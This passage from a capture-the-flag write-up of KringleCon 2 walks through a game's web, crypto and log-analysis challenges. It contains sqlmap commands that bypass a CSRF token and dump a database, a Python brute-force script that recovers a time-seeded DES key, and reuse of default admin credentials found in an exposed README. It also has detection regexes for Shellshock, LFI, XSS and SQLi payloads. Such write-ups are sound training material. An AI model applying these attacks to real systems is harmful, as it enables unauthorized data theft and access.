sqlmap --csrf-url="http://127.0.0.1:5000/" --csrf-token=token -u"https://studentportal.elfu.org/application-check.php?elfmail=&token="

And sqlmapwould request my local page to fill in the correct values for the token.

Figure 2.141: The Python Flask server o�ering real tokens

With that in place, soon enough, sqlmap finds it to be vulnerable to SQL injection!

Figure 2.142: SQLMAP detects an inject point

This took some time to work through, but eventually sqlmap did perfect a reusable exploit that couldleak out information from the database.

John Hammond 103

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.143: SQLMAP exploit found

Finally, I could leak out portions of the database:

sqlmap --csrf-url="http://127.0.0.1:5000/" --csrf-token=token -u"https://studentportal.elfu.org/application-check.php?elfmail=&token="

--dbms=mysql --dump

John Hammond 104

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.144: Finding the paths to the scraps of paper

And I found the URLs for all the scraps of paper hidden on the server!

Now I could download these, and see what secrets they held!

All of the images were literally scraps of paper, so I needed to rearrange them and put them backtogether like pieces of a puzzle. This was a fun exercise in GIMP!

Eventually, I had a picture that looked like this:

John Hammond 105

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.145: The scraps of paper all put together

I thought I had not put one scrap of paper into the mix, but as I recountedmy pieces and the number

John Hammond 106

KringleCon 2: Turtle Doves 2020-01-13

of files available on the server – I had counted correctly! It seems there was just one piece missing, andI could not recover that corner of the page.

Themessage was awfully nefarious! And the background watermark of the paper. . . . it looked like atooth? Very strange!

Regardless, now we had the solution for Objective #9, and we were one step closer!

The answer for Objective #9 is:

Super Sled-o-matic

Figure 2.146: Completed Objective #9 - Retrieve Scraps of Paper from Server

I teleported back to the Steam Tunnels to discuss this with Krampus Hollyfeld.

John Hammond 107

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.147: Krampus explains the next task

Looks like we still havemore work to do. Krampus Hollyfeld explains there are some smart peoplewho could help us for this new Objective #10 in the NetWars room – so o� we go!

2.13 Stopping by the NetWars room

I remembered the NetWars roomwas insideHermey Hall, so I teleported there and then walked in.Holly Evergreenwas there waiting for me!

John Hammond 108

KringleCon 2: Turtle Doves 2020-01-13

2.13.1 Mongo Pilfer - Holly Evergreen’s Cranberry Pi

Figure 2.148: Holly Evergreen’s Troubles

Sounds like she needs helpwith aMongoDB database. I needed to brush up on the syntax for MongoDB,so I did some research and solved this small little challenge!

John Hammond 109

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.149: The Mongo Pilfer Challenge Prompt

I tried to connect to the MongoDB database with the interactive command-line client mongo, but thatfailed!

Figure 2.150:mongo command fails

This included a small nudge, telling me the MongoDB server might be listening on a di�erent port. Itook a look at what ports are accessible with netstat -l.

Figure 2.151: netstat -l output

It seems that port 12121was open and listening. I tried to connect to that. . .

John Hammond 110

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.152: Connecting to MongoDB on port 12121

. . . and it worked! Now I could interact with the MongoDB database.

The first thing I did was show dbs.

admin 0.000GBconfig 0.000GBelfu 0.000GBlocal 0.000GBtest 0.000GB

The elfu database looked the be the one that made the most sense for this challenge, so I switchedto use that database with use elfu.

Then I ran I show collections.

baitchumlinemetadatasolutionsystem.jstackletincan

Interestingly, I sawanentrysolution. I figured I shouldexplore that, so I randb.solution.find()

John Hammond 111

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.153: Instructions to run the solution

Apparently, that was it. I just needed to run the next command, and that was the challenge! I ran

db.loadServerScripts();displaySolution();

and was greeted with “Congratulations!” and a new achievement!

Figure 2.154: Completed Mongo Pilfer - Holly Evergreen’s Cranberry Pi

Now I could talk withHolly Evergeen once more and see what tips she had for Objective #10.

John Hammond 112

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.155: Holly Evergreen’s Suggestions

John Hammond 113

KringleCon 2: Turtle Doves 2020-01-13

2.13.2 Objective #10 - Recover Cleartext Document

Figure 2.156: Objective #10 - Recover Cleartext Document

I accessed all the download locations like so:

https://downloads.elfu.org/elfscrow.exehttps://downloads.elfu.org/elfscrow.pdb

And ultimately the encrypted document (separated on a newline to fit).

https://downloads.elfu.org/ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc

From the prompt, we know we have this PDF document that was seemingly encrypted using the givenWindows executable between 1900 and 2100 UTC on December 6th, 2019. Our job is to decrypt thisPDF document.

I wanted to analyze using GHIDRA, but GHIDRA would not be able to import .pdb files well on Linux –so I spun upmyWindows VM once more to get all the symbols for debugging and disassembling.

First, we need to determine how the file was encrypted.

John Hammond 114

KringleCon 2: Turtle Doves 2020-01-13

InsideGHIDRA, now that I had the symbols loaded, I searched for symbols containing theword “encrypt.”I found the ?do_encrypt@@YAXHPAD0@Zmangled symbol, which appears to encrypt the given fileusing DES-CBC:

Figure 2.157: GHIDRA - ?do_encrypt() function

The file is encrypted using standard Windows functionality, but I can see that the key used is generatedusing a non-standard function named?generate_key@@YAXQAE@Z. This function looks like this:

John Hammond 115

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.158: GHIDRA - ?generate_key() function

This function seems to generate a string of eight random bytes using a custom random number gen-erator called ?super_secure_randomwhich is seeded with the current time. Typically, seedinga random number generator based o� of time is a bad implementation – this is o�en a vulnerable“pseudo”-random number generator. Since we have a plausible time window during with the thedocument could have been encrypted, we could use this information and potentially generate allpossible keys for this time period.

With that, we could test them individually for successful decryption! First, we will take a look at?super_secure_random:

John Hammond 116

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.159: GHIDRA - ?super_secure_random() function

We knowwhat g_seeds value is before generating the key, so we can generate all possible key com-binations with Python. First, I’ll define a function which will mimic our ?super_secure_randomfunctionality:

def super_secure_random(seed):seed = (((global_seed * 0x343FD) & 0xFFFFFFFF) + 0x269EC3) & 0xFFFFFFFFreturn (seed >> 0x10) & 0x7FFF, seed

Now, the binary does not simply provide an encryption key when encrypting a file. . . instead, a UUID isreturned. On the backend, we can see that a�er encrypting a file, it is stored in a remote database usingthe ?store_key@@YAXHQAE@Z function, which returns a UUID for the user to use when decryptingthe file.

John Hammond 117

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.160: GHIDRA - ?store_key() function

From this function, we see that the key is first converted to hex, then is stored remotely by simply usingan HTTP POST request to elfscrow.elfu.org/api/store. The body of the POST request is thehexlified key itself.

In a similar fashion, there is an inverse of this function called ?retrieve_key@@[email protected] function will request a key based on a given UUID which was returned by a previous call tostore_key. The key is retrieved by simply making another POST request to /api/retrieve. Thebody of the request is the UUID, and the response is the hexlified key stored earlier. We can test thisinteraction by sending a 16-character hexlified fake key using curl and retrieving it:

John Hammond 118

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.161: Testing a fake key

Nice!

With this information, we can now use the provided elfscrow binary to test all possible encryptionkeys individually. We will write a python script that does the following:

1. Select a time within the given range.2. Generate the key for that specific time.3. Post the time to the elfscrow server and retrieve the UUID4. Attempt to decrypt our PDF.

We will do this for every possible time within the timeframe given (every second). First, we will find thestart and ending Unix Epoch times from our range:

START = (datetime.datetime(2019,12,6,19,00) - \datetime.datetime(1970,1,1)).total_seconds()

END = (datetime.datetime(2019,12,6,21,00) - \datetime.datetime(1970,1,1)).total_seconds()

Next, we will iterate over each second in that range and generate the key:

with log.progress("bruteforcing key") as prog:for seed in range(START, END):

# Generate a key from this seedkey = []for i in range(8):

k, seed = super_secure_random(seed)key.append(k & 0xFF)

key = bytes(key)ascii_key = binascii.hexlify(key)

Now, we will submit the key to the elfscrow database and retrieve the UUID:

John Hammond 119

KringleCon 2: Turtle Doves 2020-01-13

r = requests.post("http://elfscrow.elfu.org/api/store",data=ascii_key,

)

uuid = r.textr.close()

Finally, we can attempt to decrypt the PDF using the elfscrow binary itself and our newly generatedencryption key. I do thiswithsubprocess andwine to run thewindows binary onmy Linuxmachine.The elfscrow.exe binary will reach out to elfu.org to retrieve our key, and then attempt todecrypt the file:

try:result = subprocess.check_output([

"wine","./elfscrow.exe","--decrypt",f"--id={uuid}","--insecure","./ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc",f"./pdfs/{ascii_key.decode('utf-8')}.pdf",

],stderr=subprocess.STDOUT,timeout=1,

)except subprocess.CalledProcessError as e:

result = e.output

We also specify the --insecure parameter to ensure we don’t use https. This speeds up thecommunication, since we are bruteforcing. Now, we simply need to check if the file was successfullydecrypted:

if b"File successfully decrypted" not in result:prog.status(f"not {ascii_key}")print(result.decode("utf-8"))

else:

John Hammond 120

KringleCon 2: Turtle Doves 2020-01-13

if "PDF" not in magic.from_file(f"./pdfs/{ascii_key.decode('utf-8')}.pdf"):

prog.status(f"not {ascii_key}")print(result.decode("utf-8"))continue

# prog.success(f"correct key is: {key}")log.info(f"correct key is: {ascii_key}")print(result.decode("utf-8"))break

We also check if the file that was decrypted matches the signature for a PDF file. Due to the natureof encryption, some keys will likely be able to decrypt the data, however they will not decrypt to thecorrect value. Therefore, only the key which decrypts to a valid PDF file will be the correct key.

But, this process is very slow due to the outbound connections to elfu.org that are required. Inorder to speed up the process, I implemented another small Python Flask server to simulate the func-tionality of elfscrow.elfu.org and then placed elfscrow.elfu.org in my /etc/hostsfile to redirect all requests to it back to localhost. My Flask server looked like this:

#!/usr/bin/env python3from flask import Flask, request

app = Flask(__name__)key = b"0123456789abcdef"

@app.route("/api/store", methods=["POST"])def store():

global keykey = request.get_data()return "c1046373-76c1-4ba6-8ba5-d69875254d70"

@app.route("/api/retrieve", methods=["POST"])def retrieve():

global keyprint(f"return key: {key}")return key

John Hammond 121

KringleCon 2: Turtle Doves 2020-01-13

if __name__ == "__main__":app.run(port=80)

And I added the following entry to my /etc/hosts file:

127.0.0.1 elfscrow.elfu.org

Now I could runmy script!

Figure 2.162: Running my script

The PDF detection from the python-magic library didn’t seem to behave, but a�er looking in mydumped pdfs directory, I could see I had a handful of files – and one of them seemed to be a properPDF!

Figure 2.163: Successfully decrypted a PDF

John Hammond 122

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.164: The Cleartext Document

John Hammond 123

KringleCon 2: Turtle Doves 2020-01-13

That was it! I had decrypted the document. Following the prompt, I could see the title, and knew theanswer for the objective.

The answer for Objective #10 is:

Machine Learning Sleigh Route Finder

Figure 2.165: Completed Objective #10 - Recover Cleartext Document

With Objective #10 complete, I’ll check back in with Krampus Hollyfeld and see what is next. Uponvisiting him, he didn’t have any new dialogue, so I just moved on to Objective #11!

2.14 Returning to the Student Union

2.14.1 Smart Braces - Kent Tinseltooth’s Cranberry Pi

For Objective #11, it is suggested thatKent Tinseltoothmight have somewords of wisdom. I teleportedback to the Student Union and struck up a conversation.

John Hammond 124

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.166: Kent Tinseltooth needs some help

Sounds like his Cranberry Pi needs some work done with iptables. I went to take a look. It startedwith a long, slow-paced introduction, that would kick start every time the Cranberry Pi was opened.

It o�ered some backstory, but ultimately explainedwe needed to configure the firewall with the criteriagiven at /home/elfuuser/IOTteethBraces.md.

It is a lengthy file, so I will include it as a screenshot:

John Hammond 125

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.167: The prompt for configuring the firewall

Ultimately, we need to use iptables to:

1. Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains.2. Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT andthe OUTPUT chains.

3. Create a rule to ACCEPT only remote source IP address 172.19.0.225 to access the local SSHserver (on port 22).

4. Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80.5. Create a rule to ACCEPT all OUTPUT tra�ic with a destination TCP port of 80.6. Create a rule applied to the INPUT chain to ACCEPT all tra�ic from the lo interface.

The example syntax given in the markdown file prompt gave a decent crash course on the commandsemantics, but I had to do just a bit more research to get some other things right.

John Hammond 126

KringleCon 2: Turtle Doves 2020-01-13

I don’t know howmuch I can particularly showcase for this challenge, considering each commandwould just take e�ect andnoother outputwould come from it. The only changeoccurswhen the systemdetects that all the rules are correctly in place. The syntax for iptables is almost self-explanatory, itis not too hard to parse for the human eye.

Here are the commands I used to complete the challenge:

# criteria #1sudo iptables -P INPUT DROPsudo iptables -P FORWARD DROPsudo iptables -P OUTPUT DROP

# criteria #2sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j \ACCEPT

sudo iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j \ACCEPT

# criteria #3sudo iptables -A INPUT -p tcp --dport 22 -s 172.19.0.225 -j ACCEPT

# criteria #4sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPTsudo iptables -A INPUT -p tcp --dport 80 -j ACCEPTsudo iptables -A OUTPUT -p tcp --sport 21 -j ACCEPTsudo iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT

# criteria #5sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT

# criteria #6sudo iptables -A INPUT -i lo -j ACCEPT

# wait until it detects you have the right rules in place

Soon enough, the “inner voice” of Kent speaks to me!

John Hammond 127

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.168: Completed configuring the firewall

Figure 2.169: Completed Smart Braces - Kent Tinseltooth’s Cranberry Pi

I’ll speak to Kent Tinseltooth to get some new intel on Objective #11.

Figure 2.170: Intel for Objective #11

We can get into the crate in the Student Unionwith some Developer Tools tricks!

John Hammond 128

KringleCon 2: Turtle Doves 2020-01-13

2.14.2 Objective 11 - Open the Sleigh Shop Door

Figure 2.171: Objective #11 - Open the Sleigh Shop Door

This objective has no link, so it must seem to be only be accessible over by Shinny Upatree in theStudent Union. I’ll chat with him:

Figure 2.172: Shinny Upatree knows what is going on

Shinny Upatree o�ers the link to the challenge:

John Hammond 129

KringleCon 2: Turtle Doves 2020-01-13

https://crate.elfu.org/

This page seemingly has a series of locks to unlock!

Figure 2.173: Locks on the crate

Each lock had a small riddle, each with hints, that I unabashedly took advantage of.

Note: the “lock value” changes upon every page refresh – so these given answers and screen-shots will not be valid as another individual tries to recreate this. A third-party must do thesesteps on their own!

2.14.3 Lock #1

I locked the crate with the villain’s name inside. Can you get it out?

You don’t need a clever riddle to open the console and scroll a little.

This lock clearly refered to the Console in the browser develop tools. I opened mine with the F12hotkey.

John Hammond 130

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.174: Lock #1

The hints for this were given as:

Google: “[your browser name] developer tools console”

The code is 8 char alphanumeric

2.14.4 Lock #2

Some codes are hard to spy, perhaps they’ll show up on pulp with dye?

The hints for this explained:

Most paper is made out of pulp.

How can you view this page on paper?

Emulate printmedia, print this page, or view a print preview.

These hints seemed to simply o�er the solution.

In this case, I printed the page to a PDF, and opened the file to see the code.

John Hammond 131

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.175: Lock #2

2.14.5 Lock #3

This code is still unknown; it was fetched but never shown.

This prompted o�ered enough of a clue for me to tell it was resource that was probably requested bythe page, and captured in the Network tab of my Developer Tools.

Figure 2.176: Lock #3

The hints for this o�ered:

Google: “[your browser name] view network”

Examine the network requests.

2.14.6 Lock #4

John Hammond 132

KringleCon 2: Turtle Doves 2020-01-13

Where might we keep the things we forage? Yes, of course: Local barrels!

I knew this one just frommy exposure to somany Capture the Flag challenges, this was referring tolocalStorage!

Figure 2.177: Lock #4

The hints for this one displayed:

Google: “[your browser name] view local storage”

2.14.7 Lock #5

Did you notice the code in the title? It may very well prove vital.

This mademe laugh, because I hadn’t noticed! I could see a code in the middle of my titlebar, it waspushed far along in the string by some spaces. I pulled it out just by JavaScript.

Figure 2.178: Lock #5

The hints suggested this method as well:

There are several ways to see the full page title: - Hovering over this browser tab with your mouse

John Hammond 133

KringleCon 2: Turtle Doves 2020-01-13

- Finding and opening the <title> element in the DOM tree - Typing document.title intothe console

2.14.8 Lock #6

In order for this hologram to be e�ective, it may be necessary to increase your perspective.

Admittedly I relied on the hints for this one. They suggested:

perspective is a css property.

Find the element with this css property and increase the current value.

So, I found this within the <div class="hologram"> tag and removed the CSS perspectiveproperty, so I can see the code in the browser display.

Figure 2.179: Lock #6

2.14.9 Lock #7

The font you’re seeing is pretty slick, but this lock’s code was my first pick.

I was stuck on this riddle for some time. The hints showcased:

John Hammond 134

KringleCon 2: Turtle Doves 2020-01-13

In the font-family css property, you can list multiple fonts, and the first available font on thesystemwill be used.

I looked in the Style Editor section of my Developer tools, and eventually realized for the longest time,I had not scrolled down to see one inline style! That had a font referenced that contained the code:

Figure 2.180: Lock #7

2.14.10 Lock #8

In the event that the .eggs go bad, youmust figure out who will be sad.

Again I needed a lifeline for this riddle, and consulted the hints.

Google: “[your browser name] view event handlers”

Now, I knew to “Inspect Element” on the .eggs text and check out the event handler. Exploring this, Ifound the code!

Figure 2.181: Lock #8

2.14.11 Lock #9

John Hammond 135

KringleCon 2: Turtle Doves 2020-01-13

This next code will be unredacted, but only when all the chakras are :active.

I took a look at source code for the CSS and saw the “chakras”. Within that, I could see the :activepsuedo-class definitions and I could see it building out the code.

Figure 2.182: Lock #9

The hints for this riddle suggested:

:active is a css pseudo class that is applied on elements in an active state.

Google: “[your browser name] force psudo classes”

2.14.12 Lock #10

Oh, no! This lock’s out of commission! Pop o� the cover and locate what’s missing.

I spentmore time on this lock than I care to admit, but I really like the solution. Full-disclosure, I lookedat the hints:

John Hammond 136

KringleCon 2: Turtle Doves 2020-01-13

Use the DOM tree viewer to examine this lock. you can search for items in the DOM using this view.

You can click and drag elements to reposition them in the DOM tree.

If an action doesn’t produce the desired e�ect, check the console for error output.

Be sure to examine that printed circuit board.

I was unaware I could literally drag elements within the Developer Tools Inspector pane and movetags within the page. Eventually, I realized I literally needed to “pop the cover” by dragging the coverelement o�.

Figure 2.183: Lock #10 - The cover element

John Hammond 137

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.184: Lock #10 - The lock with the cover popped o�

With the cover o�, I could see on the bottom right-corner of the shown circuit board the string“KD29XJ37”. I tried to enter that as the code, but it didn’t seem to work!

Fortunately I had the Console tab open in the Developer Tools, and it displayed to me:

Figure 2.185: Lock #10 - Missing macaroni!

“Missing macaroni!?” What?

I could see on the circuit board there seemed to be an outline of. . . macaroni. . . and something thatlooked like a Q-tib, and I couldn’t decipher what the other imprint was supposed to be.

John Hammond 138

KringleCon 2: Turtle Doves 2020-01-13

I was stumped at this. I spent way too long trying to reverse obfuscated JavaScript (a certain tortureno one should be subjected to), and eventually I threwmy hands up in the air and gave up. Some timelater, I revisited the challenge, and took another look at the HTML of the page in the Inspector tab ofDeveloper Tools.

Turns out, there was a div element with the class macaroni!!

Following the previous procedure of dragging elements in the DOM, I carried it to the lock.

Figure 2.186: Lock #10 - Found the macaroni!

This lock seriously needed a piece of macaroni in it to function. I tried to unlock it once more, and sawthe error message for the “cotton swab” and consequently the “gnome”, a�er moving the appropriateHTML elements in.

(I had previously found those strings when droning throughminified, compressed, and obfuscatedJavaScript, and I was really scratching my head then. . . )

John Hammond 139

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.187: Lock #10 - All the components included

Upon clicking “Unlock” for the last lock – I found the piece of paper, with the villains name on it!

Figure 2.188: The Villain is The Tooth Fairy

John Hammond 140

KringleCon 2: Turtle Doves 2020-01-13

With that, the door the Sleigh Shopwas open I could submit the answer to Objective #11!

The answer for Objective #11 is:

The villain is The Tooth Fairy

Figure 2.189: Shinny Upatree’s Response

Figure 2.190: Completed Objective #11 - Open the Sleigh Shop Door

2.15 Into the Sleigh Shop

I walked in to the Sleigh Shop and I could see the villain herself standing there waiting for me – TheTooth Fairy!

John Hammond 141

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.191: Inside the Sleigh Shop

I went to confront her.

Figure 2.192: The Tooth Fairy

John Hammond 142

KringleCon 2: Turtle Doves 2020-01-13

Sound like I still need to finish Objective #12 – but first I needed to helpWunorse Openslae!

2.15.1 Zeek JSON Analysis - Wunorse Openslae’s Cranberry Pi

Figure 2.193:Wunorse Openslae’s Hardship

I took a look at the Cranberry Pi.

Figure 2.194: The Zeek JSON Analysis Prompt

I knew from the prompt that I could solve this with jq. I did a little bit of research on jq, and noticedthat I could use the max_by function. It needed to be used in the correct format, so I passed the -s

John Hammond 143

KringleCon 2: Turtle Doves 2020-01-13

argument, which, from theman page:

-slurp/-s:

Instead of running the filter for each JSON object in the input,read the entire input stream into a large array and run the filterjust once.

Figure 2.195: The jq result

This found the solution right away! The culprit IP address was 13.107.21.200.

John Hammond 144

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.196: Submitting the IP with runtoanswer

Figure 2.197: Completed Zeek JSON Analysis

Success! Now I could get somemore information fromWunorse Openslae.

He has a lot of useful dialogue that I would like to include, but it will not fit well as a screenshot so I willinclude it as text:

Hey, you knowwhat? We’ve got a crisis here.

You see, Santa’s flight route is planned by a complex set of machine learning algorithms whichuse available weather data.

All the weather stations are reporting severe weather to Santa’s Sleigh. I think someonemight beforging intentionally false weather data!

I’m so flummoxed I can’t even remember how to login!

Hmm.. . Maybe the Zeek http.log could help us.

John Hammond 145

KringleCon 2: Turtle Doves 2020-01-13

I worry about LFI, XSS, and SQLi in the Zeek log - ohmy!

And I’d be shocked if there weren’t some shell stu� in there too.

I’ll bet if you pick through, you can find some naughty data from naughty hosts and block it in thefirewall.

If you find a log entry that definitely looks bad, try pivoting o� other unusual attributes in thatentry to find more bad IPs.

The sleigh’s machine learning device (SRF) needs most of the malicious IPs blocked in order tocalculate a good route.

Try not to block many legitimate weather station IPs as that could also cause route calculationfailure.

Nowwe have a bit more clarification on how to approach Objective #12!

2.15.2 Objective #12 - Filter Out Poisoned Sources of Weather Data

Figure 2.198: Objective #12 - Filter Out Poisoned Sources of Weather Data

I could download the Zeek JSON logs from the given URL, and access the Sleigh Route Finder webpagewith the next link:

https://downloads.elfu.org/http.log.gzhttps://srf.elfu.org/

John Hammond 146

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.199: Sleigh Route Finder Login

John Hammond 147

KringleCon 2: Turtle Doves 2020-01-13

Upon looking at the login page for the site, I think back toWunorse Openslae’s words – he did notknow the login credentials!

When I saw the website, I remembered the PDF that I had decrypted for Objective #10 was about the“Sleigh Route Finder” – so in case that had any tips or subtle nods to this challenge, I went to look backat the document.

On the third page of the PDF, it discuss the SRF “Sleigh Route Finder Web API” and how it binds toa local port. It explains “the default login credentials. . . can be found in the the readme in the ElfUResearch Labs git repository.”

Figure 2.200: Excerpt from the PDF

At this point I did not know about any ElfU Research Labs git repository location – but I had a thoughtthat maybe there was a public-facing /.git/ directory accessible on the webpage.

That returned a 404 – and didn’t seem to be the right direction. I thought, maybe the README.mdwas still available on the site? A bit of a leap of faith, but. . .

John Hammond 148

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.201: Downloading README.md

It was there! I could download the README.md andmaybe that still had the credentials present.

# Sled-O-Matic - Sleigh Route Finder Web API

### Installation

sudo apt install python3-pipsudo python3 -m pip install -r requirements.txt

#### Running:

python3 ./srfweb.py

#### Logging in:

John Hammond 149

KringleCon 2: Turtle Doves 2020-01-13

You can login using the default admin pass:

admin 924158F9522B3744F5FCD4D10FAC4356

However, it's recommended to change this in the db to something custom.

Awesome, it still had the credentials to login with. Best of all – they worked!

Now I could log in to the SRF API and the website seemed very descriptive. It had a helpful “About”section:

Santa’s Sleigh no longer uses magic to guide it and has instead been upgraded with a newer,better andmore e�icient device created by the students at ELF-University called the SRF - SleighRoute Finder. This page is the landing page for monitoring and controlling the SRF. The SRFdevice ingests weather data from thousands of remote weather stations reporting directly toSanta’s Sleigh. The SRF’s on-board computer then calculates the best andmost e�iciency presentdelivery path using machine learning. Remote elf workers around the world maintain thousandsof di�erent weather stations around the globe that report weather conditions directly to theon-board SRF device through this API.

It also had some documentation for the API, accessible to download at:

https://srf.elfu.org/apidocs.pdf

This showcases some specific API endpoints:

To Update The Measurements Fora Specific Global Elf Weather Station:HTTP POST REQUEST TO -http://srf.elfu.org/api/measurements

API Request All StationIDS:HTTP GET REQUEST -http://srf.elfu.org/api/stations

API Request All Stations Weather Data:HTTP GET REQUEST -http://srf.elfu.org/api/weather?station_id=*

API Request One Stations Weather Data:HTTP GET REQUEST -http://srf.elfu.org/api/weather?station_id=abcd1234

API Request Multiple Specific StationsWeatherData:HTTP GET REQUEST -http://srf.elfu.org/api/weather?station_id=abcd1234,abcd1235

John Hammond 150

KringleCon 2: Turtle Doves 2020-01-13

These are good to take inventory of, so I can better detectwhatmight be “normal” activitywhen lookingat the given Zeek logs.

On the website, there is a “Firewall” section that has the inputs for the bad IPs or subnets that I shouldfind within the Zeek logs. My plan was to find themalicious IP addresses and “DENY” them fromwithinthe application.

Figure 2.202: The Firewall interface

Now that I had scoped out the website, I could dive in to the Zeek logs.

Admittedly, I knew that I needed to do so many di�erent forms of filtering all at once, and I wasn’t surehow I could do that within jq. So, I opted for my usual weapon of choice, and reached for Python.

First, I built a primitive function to search for some regular expression inside of a field in a JSON object.Then, I built small functions to use that rudimentary process to detect potentially bad SQL injection,local file inclusion, cross-site scripting, and shellshock. I could use those in a loop on all the JSONobjects, and filter them out as needed.

John Hammond 151

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.203: Python code for filtering

This worked inside of a for loop. With that code, I started with a baseline of about 62 bad IP addresses.I took a look at JSON objects and looked to see if there were any other anamolies.

John Hammond 152

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.204: Bad User-Agent Strings

I noticed a trend – in just about all of the malicious queries, the User-Agent field seemed to havesome strange typos, mispellings, incorrect values or just bad formatting. Slowly, I built up a stockpileof patterns inside of the User-Agent string.

Figure 2.205: Collection of Bad User-Agents

This seemed to be the field to “pivot” on!

This list grew and grew. I had tons of bad strings! The following are some excerpts:

r"Metasploit", r"Goglebot", r"PeoplePal", r"FunWebProducts",r"Window NT", r"CholTBAgent", r"RookIE", r"SIMBAR", r"ApleWebKit",r"W1ndow", r"gecko", r"Mozilla4\.0", r"MSIe", r"Windows NT6.0",

John Hammond 153

KringleCon 2: Turtle Doves 2020-01-13

r"Windos", r"Tridents", r"\.NETS", r"Windows MT", r"; v\.\)",r"Windows_NT", r";MSIE 7\.0;", r"MSSIE", r"MSIE 6.a", r"666\.0",r"10\.0;Win64;x64", r"MSIE 5\.0;Windows_98", r"MSIE\d", r"compatibl;",r"MSIEE", r"Windows; U; Windows NT5\.1; en-US; rv:1\.9\.2\.3\)",r"Windows-NT", r"NT 500.0", r" NT\d", r"AntivirXP08", r"Wget", r"\.\./",

Admittedly, I had tweaked tailored this data set for hours. I would get a bit above 100 IPs, ora bit below – eventually, from the set of bad User-Agent strings I had previously, I removedr"FunWebProducts" and r"NT\d".

I ended up a total of 96 bad IP addresses, rather than 100, but it worked!

Figure 2.206:My script in action

Figure 2.207: Successful Route Calculation

John Hammond 154

KringleCon 2: Turtle Doves 2020-01-13

Ultimately, my script looked like this:

#!/usr/bin/env python

import jsonimport refrom pprint import pprint

all_json = json.load(open("all.json"))

bad_uas = [# r" NT\d",# r"FunWebProducts",r"Metasploit", r"Goglebot", r"PeoplePal", r"Window NT",r"ApleWebKit", r"AntivirXP08", r"W1ndow", r"gecko",r"Mozilla4\.0", r"MSIe", r"Windows NT6.0", r"Windos",r"CholTBAgent", r"RookIE", r"HttpBrowser", r"SIMBAR",r"Chrome /", r"Tridents", r"Wget", r"WinInet", r"\.NETS",r"Windows MT", r"; v\.\)", r"Windows_NT", r";MSIE 7\.0;",r"MSSIE", r"MSIE 6.a", r"666\.0", r"10\.0;Win64;x64",r"MSIE 5\.0;Windows_98", r"MSIE\d", r"compatibl;", r"\.\./",r"MSIEE", r"Windows; U; Windows NT5\.1; en-US; rv:1\.9\.2\.3\)",r"Windows-NT", r"NT 500.0",

]

all_json = json.load(open("all.json"))bad_ips = []

def detect_pattern(pattern, field_strings, j):global bad_ipsfor field in field_strings:

if re.search(pattern, j[field]):bad_ips.append(j["id.orig_h"])# pprint(j)try:

all_json.remove(j)except:

pass # ignore if we already removed it (somehow?)

John Hammond 155

KringleCon 2: Turtle Doves 2020-01-13

def find_bad_lfi(j):detect_pattern(r"/etc/passwd", ["uri"], j)

def find_bad_xss(j):detect_pattern(r"<script>", ["uri", "host"], j)

def find_bad_sql(j):detect_pattern(r"or '", ["username", "password"], j)detect_pattern(r"UNION", ["uri", "user_agent"], j)

def find_bad_shellshock(j):detect_pattern(r"\(\) { :; };", ["user_agent"], j)

def find_bad_useragent(j):for ua in bad_uas:

detect_pattern(ua, ["user_agent"], j)

print(f"{len(all_json)} original entries.")

for j in all_json:

find_bad_lfi(j)find_bad_xss(j)find_bad_sql(j)find_bad_shellshock(j)find_bad_useragent(j)

print(f"{len(all_json)} final entries.")print("Bad IPs found:")bad_ips = list(set(bad_ips))# pprint(bad_ips)print(f"{len(bad_ips)} bad ips.")print(",".join(bad_ips))

John Hammond 156

KringleCon 2: Turtle Doves 2020-01-13

Whew! Finally, I had the Route ID, and I could submit it for Objective #12!

The answer for Objective #12 is:

0807198508261964

Figure 2.208: Completed Objective #12 - Filter Out Poisoned Sources of the Weather Data

2.16 Entering the Bell Tower

As I completed Objective #12, the door in the right corner opened and I could access The Bell Tower!

John Hammond 157

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.209: The Bell Tower

Krampus Hollyfeld, Santa and The Tooth Fairywere all there!

I first went to speak to Krampus.

John Hammond 158

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.210: Krampus won the Frido Sleigh Contest

John Hammond 159

KringleCon 2: Turtle Doves 2020-01-13

Hurray! Krampuswon the Frido Sleigh contest! I spoke to The Tooth Fairy:

Figure 2.211:We stopped The Tooth Fairy

John Hammond 160

KringleCon 2: Turtle Doves 2020-01-13

I laughed harder than I should have at the Scooby-Doo reference.

Before I went to speak to Santa, I could see a small piece of paper in the corner. . .

Figure 2.212: A devious note. . .

Uh oh! Sounds like somemore devious plans, this time by Jack Frost! Perhaps he will pay us a visit atKringleCon III!?

Finally, I went to speak to Santa!

John Hammond 161

